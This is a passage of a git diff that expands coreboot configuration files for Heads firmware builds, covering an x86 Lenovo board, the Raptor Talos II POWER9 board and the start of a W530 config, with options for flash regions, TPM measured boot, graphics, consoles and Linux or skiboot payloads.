CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_USE_ME_CLEANER is not set +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x04000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y +# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +CONFIG_USE_DDR3=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +# CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_SPI_FLASH_ADESTO=y +CONFIG_SPI_FLASH_AMIC=y +CONFIG_SPI_FLASH_ATMEL=y +CONFIG_SPI_FLASH_EON=y +CONFIG_SPI_FLASH_MACRONIX=y +CONFIG_SPI_FLASH_SPANSION=y +CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_NO_UART_ON_SUPERIO=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG_IN_PRE_RAM=y +CONFIG_USBDEBUG_DEFAULT_PORT=0 +CONFIG_USBDEBUG_DONGLE_STD=y +# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set +# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set +# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set +CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_VPD is not set +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_INTEL_INT15=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Ironlake" +CONFIG_GFX_GMA_PCH="Cougar_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS=y +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y +CONFIG_DRIVERS_MC146818=y +# CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +CONFIG_CONSOLE_USB=y +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=5 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_HWBASE_DEBUG_NULL=y +# end of Console + +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_USE_WATCHDOG_ON_BOOT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-talos-2.config b/config/coreboot-talos-2.config index 6967cd8a2..975cf8656 100644 --- a/config/coreboot-talos-2.config +++ b/config/coreboot-talos-2.config @@ -1,10 +1,387 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y CONFIG_LOCALVERSION="Heads-v0.2.0-2215-g21ab781-dirty" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_ALLOW_EXPERIMENTAL_CLANG is not set +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +CONFIG_COMPRESS_RAMSTAGE=y +CONFIG_COMPRESS_PRERAM_STAGES=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +# CONFIG_ASAN is not set +CONFIG_NO_STAGE_CACHE=y +# CONFIG_CBMEM_STAGE_CACHE is not set +# CONFIG_UPDATE_IMAGE is not set +# CONFIG_BOOTSPLASH_IMAGE is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BAP is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_ELMEX is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GIZMOSPHERE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_JETWAY is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_LIPPERT is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set CONFIG_VENDOR_RAPTOR_CS=y +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SCALEWAY is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_BOARD_SPECIFIC_OPTIONS=y +CONFIG_MAINBOARD_PART_NUMBER="Talos II" +CONFIG_MAINBOARD_DIR="raptor-cs/talos-2" +CONFIG_DIMM_MAX=8 +CONFIG_DIMM_SPD_SIZE=512 +CONFIG_FMDFILE="src/mainboard/$(CONFIG_MAINBOARD_DIR)/board.fmd" +# CONFIG_NO_POST is not set +CONFIG_MAINBOARD_VENDOR="Raptor CS" +CONFIG_CBFS_SIZE=0x00100000 +CONFIG_CONSOLE_SERIAL=y CONFIG_MAX_CPUS=2 +CONFIG_POST_DEVICE=y +CONFIG_UART_FOR_CONSOLE=0 +# CONFIG_VBOOT is not set +CONFIG_DEVICETREE="devicetree.cb" +CONFIG_OVERRIDE_DEVICETREE="" +CONFIG_DRAM_SIZE_MB=32768 +# CONFIG_CONSOLE_POST is not set +CONFIG_MEMLAYOUT_LD_FILE="src/mainboard/$(CONFIG_MAINBOARD_DIR)/memlayout.ld" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_DRIVER_TPM_I2C_BUS=0x02 CONFIG_DRIVER_TPM_I2C_ADDR=0x20 +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_DRIVERS_UART_8250IO=y +CONFIG_BOARD_RAPTOR_CS_TALOS_2=y +# CONFIG_BOOTBLOCK_IN_SEEPROM is not set CONFIG_TALOS_2_INFINEON_TPM_1=y +CONFIG_HEAP_SIZE=0x200000 +CONFIG_EC_GPE_SCI=0x50 +CONFIG_BOARD_ROMSIZE_KB_1024=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +CONFIG_COREBOOT_ROMSIZE_KB_1024=y +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=1024 +CONFIG_ROM_SIZE=0x00100000 +# end of Mainboard + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="" +CONFIG_STACK_SIZE=0x0 +CONFIG_CPU_IBM_POWER9=y +# CONFIG_SKIP_INITIAL_ECC_SCRUB is not set +CONFIG_VBT_DATA_SIZE_KB=8 +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_TTYS0_BASE=0x3f8 +CONFIG_TTYS0_LCS=3 CONFIG_UART_PCI_ADDR=0x0 +CONFIG_CBFS_CACHE_ALIGN=8 + +# +# CPU +# +CONFIG_CPU_POWER9=y + +# +# Northbridge +# + +# +# Southbridge +# +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# +CONFIG_SUPERIO_ASPEED_AST2400=y +CONFIG_SUPERIO_ASPEED_COMMON_PRE_RAM=y + +# +# Embedded Controllers +# +CONFIG_ARCH_PPC64=y +CONFIG_ARCH_BOOTBLOCK_PPC64=y +CONFIG_ARCH_VERSTAGE_PPC64=y +CONFIG_ARCH_ROMSTAGE_PPC64=y +CONFIG_ARCH_RAMSTAGE_PPC64=y +# end of Chipset + +# +# Devices +# +CONFIG_NO_GFX_INIT=y +# CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATOR_V4=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +CONFIG_IPMI_BT=y +CONFIG_IPMI_BT_ROMSTAGE=y +CONFIG_BMC_BT_BASE=0xe4 +CONFIG_IPMI_BT_TIMEOUT_MS=5000 +CONFIG_TPM_INIT_RAMSTAGE=y +CONFIG_DRIVERS_UART=y +# CONFIG_VPD is not set +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_I2C_TPM=y +CONFIG_DRIVER_TIS_DEFAULT=y +# CONFIG_DRIVER_I2C_TPM_ACPI is not set +# CONFIG_DRIVER_TPM_DISPLAY_TIS_BYTES is not set +CONFIG_INTEL_GMA_OPREGION_2_0=y +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +CONFIG_TPM_MEASURED_BOOT=y +# CONFIG_TPM_LOG_CB is not set +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_LOG_TPM2=y +CONFIG_TPM_HASH_SHA1=y +# CONFIG_TPM_HASH_SHA256 is not set +# CONFIG_TPM_HASH_SHA384 is not set +# CONFIG_TPM_HASH_SHA512 is not set +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +# end of Trusted Platform Module + +# +# Memory initialization +# +# end of Memory initialization + +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_BOOT_DEVICE_NOT_SPI_FLASH=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y + +# +# I/O mapped, 8250-compatible +# + +# +# Serial port base address = 0x3f8 +# +# CONFIG_CONSOLE_SERIAL_921600 is not set +# CONFIG_CONSOLE_SERIAL_460800 is not set +# CONFIG_CONSOLE_SERIAL_230400 is not set +CONFIG_CONSOLE_SERIAL_115200=y +# CONFIG_CONSOLE_SERIAL_57600 is not set +# CONFIG_CONSOLE_SERIAL_38400 is not set +# CONFIG_CONSOLE_SERIAL_19200 is not set +# CONFIG_CONSOLE_SERIAL_9600 is not set +CONFIG_TTYS0_BAUD=115200 +CONFIG_CONSOLE_CBMEM=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_POST_DEVICE_NONE=y +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_HAVE_MONOTONIC_TIMER=y + +# +# System tables +# +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set CONFIG_PAYLOAD_SKIBOOT=y +CONFIG_PAYLOAD_FILE="payloads/external/skiboot/build/skiboot.elf" +CONFIG_PAYLOAD_OPTIONS="" +CONFIG_SKIBOOT_GIT_REPO="https://github.com/Dasharo/skiboot.git" +CONFIG_SKIBOOT_REVISION="1b14dd0b695b6113805186faad9b2def1d1bfeca" +# CONFIG_COMPRESSED_PAYLOAD_NONE is not set +CONFIG_COMPRESSED_PAYLOAD_LZMA=y +# CONFIG_COMPRESSED_PAYLOAD_LZ4 is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +# end of Debugging + +CONFIG_MISSING_BOARD_RESET=y +CONFIG_FLATTENED_DEVICE_TREE=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_NO_XIP_EARLY_STAGES=y +CONFIG_BOOTBLOCK_CUSTOM=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-w530-maximized.config b/config/coreboot-w530-maximized.config index c8c62dbcb..0caf3cdb8 100644 --- a/config/coreboot-w530-maximized.config +++ b/config/coreboot-w530-maximized.config @@ -1,30 +1,715 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +# CONFIG_OPTION_BACKEND_NONE is not set CONFIG_USE_OPTION_TABLE=y CONFIG_STATIC_OPTION_TABLE=y +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# 